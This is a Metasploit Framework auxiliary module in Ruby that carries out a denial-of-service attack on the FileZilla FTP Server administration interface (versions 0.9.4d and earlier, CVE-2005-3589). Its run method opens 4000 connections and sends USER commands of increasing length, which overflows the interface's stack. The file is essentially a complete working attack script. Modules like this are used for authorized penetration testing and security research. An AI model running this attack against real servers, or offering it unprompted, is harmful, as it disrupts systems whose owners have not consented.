##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'FileZilla FTP Server Admin Interface Denial of Service',
			'Description'	=> %q{
				This module triggers a Denial of Service condition in the FileZilla FTP
				Server Administration Interface in versions 0.9.4d and earlier.
				By sending a procession of excessively long USER commands to the FTP
				Server, the Administration Interface (FileZilla Server Interface.exe)
				when running, will overwrite the stack with our string and generate an
				exception. The FileZilla FTP Server itself will continue functioning.
			},
			'Author' 		=> [ 'patrick' ],
			'License'        	=> MSF_LICENSE,
			'Version'        	=> '$Revision$',
			'References'     =>
				[
					[ 'BID', '15346' ],
					[ 'CVE', '2005-3589' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/1336' ],
					[ 'OSVDB', '20817' ],
				],
			'DisclosureDate' => 'Nov 07 2005'))
	end

	def run
		print_status("Sending 4000 packets, this may take a while.")

		4000.times do |x|
			connect
			sock.put("USER #{"A" * x}\r\n")
			disconnect
		end
	end

end